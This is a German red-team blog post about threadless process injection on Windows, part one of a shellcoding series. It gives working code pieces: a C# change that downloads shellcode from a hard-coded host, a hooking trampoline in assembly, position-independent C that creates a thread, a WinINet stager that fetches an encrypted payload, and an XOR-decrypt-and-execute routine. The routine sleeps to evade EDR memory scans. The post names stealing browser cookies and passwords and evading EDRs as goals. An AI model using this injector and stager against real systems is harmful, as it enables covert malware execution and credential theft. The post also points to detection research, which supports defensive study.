Offensive

Threadless Ops - Enhanced Shellcoding for Threadless Injections

Process Injection stellt eine wichtige Methode im Red Teaming dar und wird für verschiedene strategische Ziele eingesetzt.


Process Injection stellt eine wichtige Methode im Red Teaming dar und wird für verschiedene strategische Ziele eingesetzt. Dadurch können Angreifer ihre Angriffsmöglichkeiten erweitern:

  • Rechteerhöhung: Andere Prozesse haben möglicherweise privilegierte Rechte. Z.B. können die in einem Browser-Prozess gespeicherten Cookies und Passwörter ausgelesen werden.
  • Umgehen von Sperrungen: Sicherheitsmechanismen wie EDRs (Endpoint Detection and Response) und andere Schutzvorrichtungen können durch diese Methode umgangen werden. Dies können z.B. Prozesse sein, welche vom EDR ausgeschlossen werden oder durch die Windows Firewall nicht blockiert werden.
  • Verbesserte Stabilität: Um die Ausführung zu sichern, kann der Angreifer redundante Instanzen seines Codes in mehreren Prozessen gleichzeitig starten, wodurch die Persistenz und Stabilität der Präsenz erhöht wird. Wird ein infizierter Prozess vom Benutzer geschlossen, wird der Angreifer vom System nicht direkt ausgeschlossen.
  • Tarnung: Der Angreifer bleibt im Zielprozess unauffällig und minimiert die Wahrscheinlichkeit der Erkennung durch Sicherheitslösungen. Zum Beispiel ist die Arbeit mit dem Kerberos-Protokoll unauffälliger, wenn man dies in einem Browser-Prozess ausführen lässt.

Dieses Thema hat sich von einer einfachen Malware-Technik zu einer wichtigen Methode für offensive Sicherheitsteams entwickelt. Während Sicherheitslösungen immer besser werden, treiben Red Teams und Angreifer die Innovation weiter voran, um neue, unauffällige Injection-Methoden zu entwickeln.

Die klassische Grundlage der Process Injection umfasst drei wesentliche Schritte, die den Aufruf der Windows-API benötigen:

  • Arbeitsspeicher reservieren: Der Angreifer reserviert Speicher im Zielprozess (z.B. mit VirtualAllocEx)
  • Arbeitsspeicher schreiben: Der Payload (z.B. das C2) wird in den reservierten Speicherbereich geschrieben (z.B. mit WriteProcessMemory)
  • Ausführung: Ein Thread wird gestartet, um den Payload auszuführen (z.B. mit CreateRemoteThread)

Diese einfache Abfolge der Schritte wird von heutigen EDRs sehr gut erkannt. Dazu werden die benötigten Windows-APIs überwacht. Die Kombination dieser drei Schritte löst entsprechend eine Alarmierung (Incident) aus und beendet möglicherweise automatisch die involvierten Prozesse.

Weitere Process Injection Methoden können auch auf T1055 Process Injection von MITRE ATT&CK Framework nachgelesen werden. Bemerkenswerterweise fehlt jedoch die Threadless Injection Methode.

In diesem Beitrag gehen wir nun auf die fortgeschrittenere Process Injection durch Threadless Injection ein, analysieren aktuelle Projekte und Beiträge und entwickeln einen verbesserten Ansatz durch eigenen Shellcode. Die vorgestellten Ergebnisse findet ihr im Projekt ThreadlessOps auf GitHub.

Erklärung und Vorteil von Threadless Injection

Threadless Injection ist eine moderne Methode zur Process Injection, welche nur mit zwei der zuvor genannten drei Schritten auskommt. Der Titel zu dieser Methode kommt dadurch, dass auf die Ausführung, welche in der Regel durch die Erstellung eines neuen Threads eintritt, verzichtet wird. Der letztere Schritt wird stattdessen vom Zielprozess selbst ausgeführt. Dadurch ist es schwieriger, diese Methode zu erkennen (Detection) und es benötigt oft manuelle Anpassungen wie (Advanced Thread Hunting in EDR Produkten). Beispiele, um solche Angriffe wie in diesem Blogeintrag zu erkennen, findet man auf dem Blogbeitrag von elastic security labs.

Threadless durch Remote Function Hooking

Eine Möglichkeit, um den injizierten Code vom Zielprozess selbst ausführen zu lassen, ist Remote Function Hooking. Ceri Coburn zeigt dies in seinem Projekt Threadless Process Injection using remote function hooking und seiner Präsentation sehr detailliert und verständlich auf. Hierbei werden im Zielprozess bereits geladene und regelmässig genutzte Funktionen mit dem eigenen Code überschrieben. Nach kurzer Zeit wird der Zielprozess den gewünschten Code ausführen.

Remote Function Hooking

Die zu überschreibende Funktion (z.B. NtWaitForSingleObject von NTDLL.dll) kann angepasst werden. Dadurch ist sie für sämtliche Prozesse, welche eine solche Bibliothek verwenden, anwendbar. Dies trifft auf praktisch alle Prozesse zu. Aufgrund dieses Vorteils handelt es sich dabei um die von mir bevorzugte Methode.

Das Projekt von Ceri Coburn wird auch als Ausgangslage vieler Projekte im Bereich Threadless Injection verwendet. Das Projekt fokussiert sich jedoch auf die Methode selbst. So wird als Beispiel zwar der Shellcode zum Starten des Rechners (calc.exe) mitgeliefert, jedoch fehlt im Projekt eine funktionierende Verkettung mit erweiterbarem Shellcode zur Ausführung eines eigenen Payloads.

Threadless durch Entry Point Injection

EPI (Entry Point Injection) ist ein Projekt, das eine neue Threadless Injection Methode nutzt, die darauf basiert, die Einstiegspunkte (DllMain) von bereits geladenen Modulen (DLLs) zu überschreiben. Diese Einstiegspunkte werden ausgeführt, sobald sich ein vom Zielprozess verwendeter Thread schliesst oder startet.

Diese Methode stellt aus meiner Sicht eine alternative Möglichkeit dar, hat jedoch den entscheidenden Nachteil, dass nicht jeder Prozess Threads erstellt oder schliesst. Ein Vorteil in diesem Projekt ist, dass bereits ein komplexerer Shellcode implementiert wurde, um von der Threadless Methode eine funktionierende Ausführung des Payloads zu bekommen. Dazu wurde der Shellcode mithilfe des Projekts sRDI von monoxgas erstellt, welcher bestehende DLLs in Shellcode konvertieren, um diesen im Arbeitsspeicher direkt ausführbar zu machen. Dadurch entsteht viel Overhead, jedoch ist die Entwicklung herkömmlicher DLLs einfacher als andere Shellcoding-Techniken.

Ist es wirklich Threadless?

Die Anspielung, ohne einen Thread die Injection durchzuführen, stimmt aus meiner Sicht nur bedingt. Die erste Ausführung während der Injection benötigt zwar keinen neuen Thread, läuft jedoch im Kontext eines bestehenden Threads und blockiert somit bestehende Abläufe.

Gehen wir davon aus, dass wir im Zielprozess einen funktionierenden C2-Agent laufen lassen möchten. In der Regel benötigen wir eine parallele Ausführung mittels eines neuen Threads. Wir können jedoch den Zusammenhang der Injection mit der Erstellung eines neuen Threads durch diese Technik besser verschleiern, weil der neue Thread durch den Zielprozess selbst aufgebaut wird.

Für den Fall, dass wir eine kurze Aufgabe ausführen wollen, können wir ganz auf einen neuen Thread verzichten. Dies könnte zum Beispiel ein kurzer Aufruf eines Windows-Befehls oder die Änderung einer Windows-Konfiguration sein. Da wir den Control Flow für die eigenen Zwecke stehlen, müssen wir die Kontrolle nach möglichst kurzer Zeit wieder an den Zielprozess zurückgeben. Wenn wir dies nicht tun, friert der Zielprozess ein oder stürzt sogar ab. Um diesem Problem entgegenzuwirken brauchen wir einen speziell entwickelten Shellcode, welcher einen Payload (z.B. den C2-Agent) durch einen neuen Thread im Prozess integriert und die Kontrolle, welche wir zuvor gestohlen haben, sauber zurückgeben kann.

Reicht Threadless aus?

Threadless Injection ist ein effektiver Evasion-Ansatz, aber kein Allheilmittel. Mit dieser Technik hat man erst einen Fuss in der Türe.

Damit man danach unerkannt bleibt, hat Yoann Dequeker diese Technik mit Module Stomping kombiniert. Unter anderem erklärte er diese Themen auf der Swiss Cybersecurity Conference 2024 - Uncommon Process Injection Pattern - Yoann Dequeker.

Das Problem ist, dass wir nach der Injection unseren Shellcode wie auch unseren Payload durch neu angeforderten Arbeitsspeicher ausführen lassen. Dieser Arbeitsspeicher stammt nicht aus der von Windows geladenen Anwendung oder deren Module, welche auf der Festplatte wiedergefunden werden können. Diesen Unterschied nennt man Unbacked Memory und kann in einem Debugger einfach angezeigt werden:

Unbacked Memory Example

  1. Hier sieht man den Typ. IMG steht für Image und entspricht Backed Memory. PRV steht für Private und entspricht Unbacked Memory.
  2. Diese zwei Bereiche haben unter Protection das Flag E für Execution gesetzt und kommen gleichzeitig aus dem Unbacked Memory.

Wird Unbacked Memory wie in diesem Beispiel als ausführbar aufgefunden, handelt es sich sehr wahrscheinlich um nachgeladene Schadsoftware. Es gibt jedoch ein paar Ausnahmen, wie zum Beispiel bei Just-In-Time (JIT) Compilation, welches bei .NET Prozessen verwendet wird und zu ausführbarer Unbacked Memory führt. Dieser IOC kann durch Module Stomping jedoch ganz vermieden werden. Wie so oft tauscht man dabei einen IOC mit einem anderen aus. In diesem Fall müssen wir eine weitere DLL im Prozess nachladen und dessen Bereich im neu geschaffenen Backed Memory mit unserem Code überschreiben.

Eine weitere gute Methode, um nicht erkannt zu werden, liefert uns Fabian Mosch (S3cur3Th1sSh1t) in seinem Projekt Caro-Kann. Hierbei wird der Payload, welcher z.B. einen bekannten C2-Agent umfasst und im Arbeitsspeicher leicht aufgefunden werden kann, verschlüsselt mitgeliefert. Ein kleiner Shellcode (Stager) wartet nun ein paar Sekunden, bevor dieser den Payload entschlüsselt und ausführt. Da wir immer ein paar IOCs haben, müssen wir davon ausgehen, dass unser Arbeitsspeicherbereich, für den wir z.B. einen neuen Thread erstellen, vom EDR überprüft wird. Da dieser in den ersten Sekunden noch verschlüsselt ist, sollte das EDR keine bekannten Muster in unserem Bereich auffinden.

Mein liebstes Projekt zum Thema Threadless Injection ist ThreadlessStompingKann und der entsprechende Blog-Beitrag von Caue Borella. Darin kombiniert er die Methoden Threadless Inject, Module Stomping und Caro Kann in einem und zeigt auf, wie er einen C2-Agent vom C2 Framework Havoc startet.

Als Nachteil sehe ich in diesem Projekt, dass

  • LoadLibrary zum Nachladen der DLL aus einem Unbacked Memory aufgerufen wird,
  • der Threadless Inject mehrmals benötigt wird,
  • viele VirtualAlloc und VirtualProtect auf den Zielprozess aufgerufen werden und
  • insgesamt viele Daten in den Arbeitsspeicher des Zielprozess geschrieben werden.

Durch den invasiven Eingriff auf den Zielprozess und das etwas unsaubere Nachladen von Modulen könnte die Aktion besser erkannt werden. Dazu kommt, dass im Projekt Caro-Kann ein neuer Thread die Ausgangslage ist, jedoch in der Implementierung bei ThreadlessStompingKann nicht umgesetzt wurde. Falls der Payload seinen Control Flow nicht zurückgibt, was bei einigen C2-Agents der Fall wäre, friert der Zielprozess ein. Im Projekt funktioniert es, weil der Havoc-Payload selbständig einen neuen Thread erstellt.

Der neue Plan

Grundsätzlich kann viel Bestehendes weiterverwendet und ergänzt werden. Zum Beispiel finde ich, der Shellcode von Caro-Kann bietet eine gute Ausgangslage, um einen eigenen erweiterten Shellcode zu entwickeln. Dieser scheint auf dem Projekt C-To-Shellcode-Examples zu basieren, welches wiederum im Beispiel PIC-Get-Privileges aus dem Blog von Chetan Nayak (ParanoidNinja) (dem Autor vom C2-Framework Brute Ratel) seinen Ursprung hat. Daraus lässt sich optimierter Shellcode erstellen, welcher kaum Overhead im generierten Maschinencode aufweist.

Die Erstellung eines eigenen Threads bietet den Vorteil, dass eine bessere Kompatibilität mit Payloads erreicht wird. Dadurch entfällt die Notwendigkeit, dass der Payload selbst den Thread erstellt oder erneut Evasion-Techniken durchführt. Wenn dieser Prozess durch Techniken wie Caro-Kann und Module Stomping optimiert ist, entwickelt sich dies im Ganzen zum Vorteil. Wird das gesamte Vorhaben betrachtet, trifft die Definition Threadless weniger zu. Da bei ThreadlessStompingKann dies dem Havoc-Payload überlassen wurde, sehe ich jedoch keinen Nachteil.

Um die Verwendung von Module Stomping zu optimieren, müssen wir den dazu benötigten Aufruf der LoadLibrary Windows-API verschleiern. Wir müssen davon ausgehen, dass unser Aufruf durch User Land Hooking oder Telemetriedaten (ETWTI) vom EDR erkannt wird. In bisher genannten Projekten ist dies ein Problem. Es scheint schwierig, dies zu umgehen, aber Chetan Nayak (ParanoidNinja) hat dafür eine Lösung in seinem Blog Dark Vortex präsentiert, wie er dies im Fall seines C2 Frameworks implementiert hat. Dabei erkärt er, wie Stack Tracing funktioniert und wie er dies mittels Callback-Evasion umgangen hat. Shayan Muhammad hat in einem Beitrag auf Medium eine weitere Windows-API präsentiert, welche für Callback-Evasion genutzt werden kann.

Des Weiteren finde ich es von Vorteil, nur so wenige Zugriffe auf den Zielprozess durchzuführen als möglich. Dazu implementiere ich die Option, den Payload vom Zielprozess selbst zu laden, anstelle diesen bei der Injection mitzugeben. Der Shellcode wird dabei in einen neuen Backed Memory Bereich kopiert. Eine Übersicht über den neuen Plan sieht nun wie folgt aus:

Shellcode Injection Overwiev

  1. Wir schreiben unseren Shellcode im gewünschten Prozess (z.B. ms-teams.exe)
  2. Wir überschreiben eine Funktion (z.B. NtWaitForSingleObject aus NTDLL.dll) im gewünschten Prozess, damit diese unseren Shellcode aufruft
  3. Wir warten, bis der gewünschte Prozess von selbst die überschriebene Funktion aufruft
  4. Die überschriebene Funktion wurde aufgerufen und führt nun unseren Shellcode aus
  5. Wir befinden uns noch in Unbacked Memory und nutzen Callback-Evasion, um z.B. chakra.dll nachzuladen
  6. Der Shellcode schreibt sich selbst in den nachgeladenen Backed Memory Bereich
  7. Wir überschreiben erneut die Funktion, um unsere Kopie im Backed Memory zu starten
  8. Nach dem Return wird gleich ein Call auf den kopierten Shellcode ausgelöst
  9. Ein neuer Thread wird erstellt und läuft nun separat
  10. Wir stellen die ursprüngliche Funktion wieder her und machen den Return
  11. Die ursprüngliche Funktion erfüllt ihren normalen Zweck.

Nun läuft unser Thread parallel und wartet erst ein paar Sekunden, um vor möglichen Arbeitsspeicher-Scans geschützt zu sein. Danach wird optional der Payload heruntergeladen, falls dieser noch nicht im Shellcode mitgegeben wurde. Zuletzt wird der Payload entschlüsselt und ausgeführt.

Shellcode-Entwicklung (Teil 1 von 2)

Nach der ganzen Theorie geht es nun an das Eingemachte. Damit der Rahmen dieses Blogbeitrags nicht gesprengt wird, habe ich mich entschieden, den Inhalt aufzuteilen. Im ersten Teil widmen wir uns dem letzteren Teil der Prozesskette, welcher auf der rechten Seite in der Planübersicht zu sehen ist. Darin enthalten sind die Schritte:

  • einen neuen Thread zu erstellen
  • einen Payload über das Netzwerk nachzuladen
  • und diesen zum Schluss zu entschlüsseln und auszuführen.

Dabei wurde die Methode von Caro-Kann ein wenig angepasst und ein bestehender Fehler in der Entschlüsselungsfunktion korrigiert. Mit dieser Ausgangslage wird dann im zweiten Teil die Callback-Evasion, das Module Stomping und die Shellcode-Replication zusätzlich implementiert. Die benötigten Daten findet ihr im Projekt ThreadlessOps auf Github.

Kompilieren, Ausführen und Testen

Als Betriebssystem empfehle ich Kali Linux, da die notwendigen Kompilierprogramme bereits vorinstalliert sind. VSCode kann als Entwicklungsumgebung nachinstalliert werden. Zum kompilieren werden GCC und NASM benötigt. Wird nicht auf Linux entwickelt, müssen im Projekt einige Anpassungen gemacht werden.

Für die ersten Tests nehmen wir ein sehr einfaches Beispiel. Dazu schreiben wir unter Shellcode/Shellcode.c den folgenden Source Code:

            
                   

#include "APIResolve.h"

void Main()

{

    char message[] = { 'H', 'e', 'l', 'l', 'o', ' ', 'W', 'o', 'r', 'l', 'd', '!', 0x00 };

    uint64_t _MessageBoxA = getFunctionPtr(HASH_USER32, HASH_MESSAGEBOXA);

    ((MESSAGEBOXA)_MessageBoxA)(0, message, message, 1);

}

Die Strings dürfen im Shellcode nicht wie gewohnt deklariert werden. Da wir Position-Independent-Shellcode benötigen, müssen wir ohne Heap auskommen, damit der Code an jeder beliebigen Stelle im Arbeitsspeicher ausgeführt werden kann. Deshalb werden Strings auf dem Stack als einzelnes Char-Array gespeichert. Aus dem gleichen Grund haben wir auch keine gewöhnlichen Aufrufe für Module wie der Windows-API. Dazu wird die Funktion getFunctionPtr() verwendet. Diese Funktion sucht im Arbeitsspeicher des Prozesses nach der gewünschten Funktion und liefert einen Pointer darauf zurück. Diese Funktion zusammen mit Typdefinitionen für die Windows-API werden durch APIResolve.h geladen.

Um den Shellcode zu erstellen kann nun python3 Build_Shellcode.py aus dem Projekt ausgeführt werden.

Build Shellcode

Das Resultat ist mit 432 Bytes sehr kompakt. Mit ndisasm -b 64 Shellcode.bin können die Bytes dekompiliert und in Assembler-Sprache dargestellt werden. Der Inhalt ist nun auf den eigentlichen Zweck des Shellcodes optimiert.

Dieser Shellcode kann nun praktisch in allen Shellcode-Loadern eingesetzt werden. Um dies zusammen mit Threadless Injection zu testen gibt es zwei Möglichkeiten:

Auf einem System mit abgeschaltetem Antivirus/EDR kann das ursprüngliche Projekt Threadless Process Injection using remote function hooking verwendet werden. Diese Methode habe auch ich bevorzugt und habe folgende Ergänzung im C# geschrieben, damit der kompilierte Shellcode direkt über das Netzwerk nachgeladen werden kann:

            
                   

// Added function

static byte[] DownloadShellcode(string u)

{

    System.Net.WebClient client = new WebClient();

    try

    {

        byte[] data = client.DownloadData(u);

        return data;

    }

    catch (Exception ex) { return new byte[] { }; }

}

// Changed function

private static byte[] LoadShellcode(string path)

{

    byte[] pl = DownloadShellcode("http://192.168.247.131:80/Shellcode.bin");

    return pl;

}

Des Weiteren gibt es im ursprünglichen Projekt einen Stolperstein. Wurde der Shellcode ausgeführt, wird vom Injektor dieser Arbeitsspeicher im Zielprozess wieder freigegeben. Läuft der auszuführende Shellcode noch, etwa durch den Aufruf einer MessageBox, stürzt die Applikation mit dem Fehler "AccessViolationException" ab. Um dies zu verhindern, entfernen wir den Aufruf von FreeVirtualMemory und ProtectVirtualMemory an folgender Stelle:

Bugfix Threadless Injector

Für den Fall, dass ihr es mit aktivem Antivirus/EDR testen wollt, benötigt ihr eine bestehende Evasion-Technik mit welcher ihr z.B. das C2 Framework Sliver laden könnt. Sliver enthält bereits ein Threadless Inject Beacon-Object-File(BOF), durch welches ihr den Threadless Inject mit dem eigenen Shellcode direkt in Kali testen könnt. In meinem Fall nehme ich meinen unerkannten Powershell-Loader und teste die Methode wie folgt:

Test Threadless Sliver

Wird nun NtWaitForSingleObject von notepad.exe aufgerufen, wird unser Shellcode ausgeführt. In diesem Fall wird diese Windows-API vom Zielprozess verwendet, sobald ein neues Fenster aufgeht. Z.B. über Help -> Info.

Result Threadless Test

Anstelle von NtWaitForSingleObject können auch andere Funktionen verwendet werden. Dazu gibt es mehr oder weniger gut geeignete Fälle. Wie man die richtige Funktion findet, erklärt Fabian Mosch (S3cur3Th1sSh1t) in seinem YouTube-Video.

Debuggen

Während der Entwicklung können Fehler auftreten. Mein Favorit für die Analyse dieser Fälle ist die Verwendung von x64dbg. Ein wichtiger Aspekt bei Threadless Injection ist, dass wir beim Function Hooking den Control Flow kurzzeitig umleiten, ohne dass die ursprüngliche Funktion darauf vorbereitet ist. Dadurch verletzen wir die X86 Calling Convention. Normalerweise ist die aufgerufene Funktion für die Wiederherstellung der nicht-volatilen Register (RBX, RSP, R12, …) verantwortlich. In unserem Fall müssen wir jedoch auch die volatilen Register zurücksetzen, da sonst die korrekte Ausführung der ursprünglichen Funktion beeinträchtigt wird.

Dazu wurde im ursprünglichen Projekt von Ceri Coburn ein ShellcodeLoader als Trampolin hinzugefügt, welcher mit dem Shellcode kombiniert wird. Als weitere Aufgabe dient er zur Wiederherstellung der überschriebenen Funktion mit den originalen Bytes.

            
                   

start:

    pop     rax                             ; Speichere Return-Adresse in RAX

    sub     rax, 0x5                        ; Korrigiere Return-Adresse

    push    rax                             ; Speichere Register im Stack

    push    rcx

    push    rdx

    push    r8

    push    r9

    push    r10

    push    r11

    movabs  rcx, 0x1122334455667788         ; Wiederherstellung orig. Bytes bei Return-Adresse (Unhook)

    mov     QWORD PTR [rax], rcx            

    sub     rsp, 0x40                       ; Schaffe Platz auf Stack für Shellcode

    call    shellcode                       ; Führe Shellcode aus

    add     rsp, 0x40                       ; Wiederherstellung der Register

    pop     r11

    pop     r10

    pop     r9

    pop     r8

    pop     rdx

    pop     rcx

    pop     rax

    jmp     rax                             ; Jump auf Return-Adresse

shellcode:

Als erstes wird die Return-Adresse vom Stack gelesen und um 5 Bytes korrigiert, damit die Adresse auf die Instruktion vor unserem Call zeigt und damit später der wiederhergestellte originale Code an gleicher Stelle ausgeführt werden kann. Für die Wiederherstellung des ursprünglichen Codes wird ein Platzhalter (0x1122334455667788) gespeichert und bei der Injection durch die ursprünglichen Bytes ersetzt. Zusätzlich werden die Register auf den Stack geschrieben (push) und am Ende, nach der Ausführung des Shellcodes (call shellcode), wieder zurückgesetzt (pop) und zurückgesprungen (jmp rax).

Dieses Verhalten können wir überprüfen, indem wir mit dem Debugger für die zu überschreibende Funktion einen Hardware-Breakpoint setzten. Wir sollten nun zwei Mal angehalten werden:

  • Beim ersten Mal wird der neue Code ausgeführt, welcher auf unser kombinierten Shellcode zeigt.
  • Beim zweiten Mal wurde die Funktion wiederhergestellt und führt den ursprünglichen Zweck aus.

Nun können wir bei beiden Momenten die Register und den Stack kontrollieren. Die beste Stabilität erreichen wir, wenn alle Register und der Stack absolut gleich bleiben. In diesem Beispiel wurde die Funktion NtWaitForMultipleObjects von NTDLL.dll verwendet.

Ausführung bei überschriebener Funktion (Hooked):

Debugger Function Hooked

Ausführung nach wiederhergestellter Funktion:

Debugger Function Restored

Bei (1) sehen wir den injizierten Call auf unseren Shellcode und wie dieser danach wieder auf den ursprünglichen Code zurückgesetzt wurde. In (2) und (3) können wir die Register und den Stack vor und nach der Ausführung des Shellcodes sehen. Dabei fällt auf, dass RAX verändert wurde. Dieses Register wurde vom Trampolin am Ende verwendet (pop rax, jmp rax) um wieder auf die ursprüngliche Funktion zurückzuführen. Da RAX nicht weiter verwendet wurde, produzieren wir hier keinen Fehler.

Bei einigen im Internet auffindbaren Shellcodes wird der Stack nicht sauber zurückgesetzt. Diese sind hierfür ungeeignet und würden zum Absturz des Prozesses führen.

Neuer Thread erstellen

Wir stellen unseren Test-Shellcode in Shellcode/Shellcode.c wieder zurück auf den Stand des Projekts ThreadlessOps. Darin enthalten sind die verschiedenen Abläufe für den ersten Teil unseres Blogbeitrags. In der Funktion Main finden wir bereits den Code, um einen neuen Thread zu starten:

            
                   

    // Define CreateThread function

    uint64_t _CreateThread = getFunctionPtr(HASH_KERNEL32, HASH_CREATETHREAD);

    CREATE_THREAD pCreateThread = (CREATE_THREAD)_CreateThread;

    // Variables for thread creation

    DWORD threadId;

    // Create thread pointing to function Thread(NULL)

    pCreateThread(

        NULL,                  // Default security attributes

        0,                     // Default stack size

        Thread,                // Function to run

        NULL,                  // Parameter to thread function

        0,                     // Run immediately

        &threadId              // Thread ID

    );

Da wir von der überschriebenen Windows-API aufgerufen wurden, befinden wir uns im gestohlenen Control Flow des Zielprozesses. Damit wir die Kontrolle schnellstmöglich zurückgeben können, führen wir einen neuen Thread auf die Funktion Thread aus. Dazu nutzen wir die Windows-API CreateThread von Kernel32.dll. Danach kommt es zum Return auf alignstack.asp, welches unser Entry Point in unserem Shellcode ist. Dieser führt auf den ShellcodeLoader zurück, welcher die weitere stabile Ausführung des Zielprozesses sicherstellt.

An dieser Stelle haben wir nun einen neuen Thread im Prozess, durch welchen wir unabhängig von anderen Abläufen im Zielprozess operieren und den gestohlenen Control Flow wieder zurückführen können.

Payload Download

Durch den neuen Thread kann nun der gewollte Payload heruntergeladen werden. Dazu werden Funktionen wie HttpOpenRequestA von wininet.h verwendet. Damit nutzen wir Boardmittel, müssen jedoch das Microsoft Modul nachladen. Dies wird durch den Aufruf der Funktion getFunctionPtr erledigt, welche nicht geladene Module durch LoadLibrary nachlädt. Die Deklaration der Parameter für den Download wird jedoch ausserhalb der Funktion DownloadDecryptExecutePayload gesetzt:

            
                   

// Parameter in memory to provide the http hostname to the payload 

void PayloadHostname()

{

    asm(".byte '1', '9', '2', '.', '1', '6', '8','.', '2', '4', '7', '.', '1', '3', '1', 0x00");

}

// Parameter in memory to provide the http port to the payload 

void PayloadPort()

{

    asm(".long 80");

}

// Parameter in memory to provide the http filename to the payload

void PayloadFilename()

{

    asm(".byte 'E', 'n', 'c', 'r', 'y', 'p', 't', 'e', 'd', 'P', 'a', 'y', 'l', 'o', 'a', 'd', '.', 'b', 'i', 'n', 0x00");

}

Der Vorteil dieses Vorgehens liegt im generierten Maschinencode. Diese Bytes sind kompiliert gut auffindbar und wir können die Adresse später direkt anpassen. Zum Beispiel könnten wir die IP-Adresse während der Nutzung durch den Injektor dynamisch setzen. Da dies Null-terminated strings sind, muss das letzte Zeichen ein NUL (0x00) sein. Das folgende 0xC3 steht für RET und stellt den Return für die Funktion dar. Jedoch nutzen wir die Funktion nur als Pointer auf die Variablen im Arbeitsspeicher. Diese Daten können z.B. mit einem Hex-Editor angezeigt werden:

Shellcode Download Address

Weil für die aktuelle Ausgangslage noch kein Module Stomping eingesetzt wurde, laden wir unseren Payload in einem neuen Arbeitsspeicherbereich. Da wir den Bereich mit VirtualAlloc anlegen, liegt unser Payload für diesen Blogbeitrag noch im Unbacked Memory. Diesen Umstand korrigieren wir im zweiten Teil im Rahmen des Module Stomping.

            
                   

void DownloadDecryptExecutePayload() {

 

...

    char* hostname = (char*) &PayloadHostname;

    LPCTSTR endpoint = (LPCTSTR) &PayloadFilename;

    uint32_t port = *( (uint32_t*)PayloadPort);

 

HINTERNET h_session = NULL, h_connect = NULL, h_request = NULL;

DWORD dw_read = 0, dw_read_total = 0, dw_success = 0;

char method[] = { 'G', 'E', 'T', 0x00 };

 

SIZE_T mem_size = 1024*1024;  // Max Size of Payload!! 1MB

    LPVOID ptr_memory = ((VIRTUALALLOC)_VirtualAlloc)(0, mem_size, MEM_COMMIT, PAGE_READWRITE);

...

 

}

Hier sehen wir die Zuweisung der zuvor angesprochenen Parameter (PayloadHostname, PayloadFilename, PayloadPort) und die Initialisierung des Arbeitsspeicher für den Payload (ptr_memory). Ein aktueller Stolperstein beim Herunterladen ist hierbei mem_size. Dadurch ist die maximale Grösse eines Payloads auf 1MB limitiert.

Payload Entschlüsselung und Ausführung

Für die Entschlüsselung des Payloads verwenden wir die Funktion aus dem Projekt Caro-Kann von Fabian Mosch (S3cur3Th1sSh1t). Dabei hat Andrei Herasimau einen Fehler bei buf8[i] ^= (uint8_t)(xorKey & 0xFF); in der zweiten For-Schleife korrigiert. Zuvor wurden in 50% der Payloads die letzten Bytes falsch berechnet.

            
                   

void PayloadDecryptionKey()

{

    asm(".byte 0x01, 0x02, 0x03, 0x04");

}

// Function to decrypt the payload with a key

void xor32(LPVOID buf, DWORD bufSize)

{

    uint32_t* buf32 = (uint32_t*)buf;

    // xorKey is the value of LongKey() function, which is a char array. We need to convert it to uint32_t

    uint32_t xorKey = *(uint32_t*)PayloadDecryptionKey;

    uint8_t* buf8 = (uint8_t*)buf;

    size_t bufSizeRounded = (bufSize - (bufSize % sizeof(uint32_t))) / sizeof(uint32_t);

    for (size_t i = 0; i < bufSizeRounded; i++)

    {

        ((uint32_t*)buf8)[i] ^= xorKey;

    }

    for (size_t i = sizeof(uint32_t) * bufSizeRounded; i < bufSize; i++)

    {

        size_t x = i % (sizeof(uint32_t) * bufSizeRounded); // calculate offset

        buf8[i] ^= (uint8_t)((xorKey >> (8 * x)) & 0xFF); // shift and xor bytes

    }

}

Diese Funktion durchläuft den Payload byteweise und wendet auf jedes Byte eine XOR-Operation mit einem zuvor definierten Schlüssel an. Dieser Schlüssel muss mit dem Schlüssel in Encrypt_Payload.py übereinstimmen.

            
                   

def long_key():

    key_string = "01020304" # Payload Encryption Key

    return bytes.fromhex(key_string)

Für den gesamten Ablauf braucht es jedoch mehr Schritte. Wir warten mittels Sleep ein paar Sekunden ab, um möglichen Scans durch ein EDR/AV zu entkommen. Dabei müssen wir auch die Protection des Arbeitsspeichers für die Entschlüsselung auf RWX und für die Ausführung zum Schluss auf RX stellen. Wir stellen den Arbeitsspeicher auf RWX für den Fall, dass unser Shellcode und der Payload im gleichen Arbeitsspeicherbereich liegen.

            
                   

void DecryptExecutePayload(LPVOID payload, DWORD len) {

    uint64_t _Sleep = getFunctionPtr(HASH_KERNEL32, HASH_SLEEP);

    // Wait 2 seconds before changing protection

    ((SLEEP)_Sleep)(2000);

    // Update protection of payload to PAGE_READWRITE

    DWORD oldProtect;

    uint64_t _VirtualProtect = getFunctionPtr(HASH_KERNEL32, HASH_VIRTUALPROTECT);

    ((VIRTUALPROTECT)_VirtualProtect)(payload, len, PAGE_EXECUTE_READWRITE, &oldProtect);

    // Wait 3 seconds before decrypting and execution of payload

    ((SLEEP)_Sleep)(3000);

    // Decrypt payload

    xor32(payload, len);

    // Update protection of payload to EXECUTE_READ

    ((VIRTUALPROTECT)_VirtualProtect)(payload, len, PAGE_EXECUTE_READ, &oldProtect);

    // Execute payload

    ((void (*)())payload)();

}

Am Ende wird der Payload ausgeführt. Die Code-Zeile wandelt payload in einen Funktionszeiger um und ruft die so interpretierte Funktion auf. Wir verzichten auf einen direkten Jump durch ein Trampolin wie es im ursprünglichen Projekt Caro-Kann gemacht wurde. Weil wir bereits im Backed Memory sind und unser Call-Stack nach dem nächsten Teil sauber sein sollte, hat der Jump aus meiner Sicht keinen Vorteil.

Fazit

Bei dieser Arbeit konnte ich mich tief in die Themen der Process Injection begeben und ich habe gelernt, dass es auch heute noch funktionierende Angriffsmöglichkeiten gibt. Die vorhandenen Techniken sind raffiniert und werden anscheinend von herkömmlichen EDR/AV Produkten nicht von Haus aus verhindert. Es gibt dennoch gute Ansätze, wie die auf dem anfangs erwähnten Blogbeitrag von elastic security labs, welche für Blue Teams zur Verteidigung genutzt werden können.

Jedoch scheint es schwierig, in der modernen Welt mit JIT-Compiling wie bei .NET Prozessen, verlässliche IOCs auf unseren Angriff zu bekommen. Dennoch erfodert es heute ein hohes Mass an Wissen und Erfahrung, um diese modernen Techniken erfolgreich umzusetzen.

Similar posts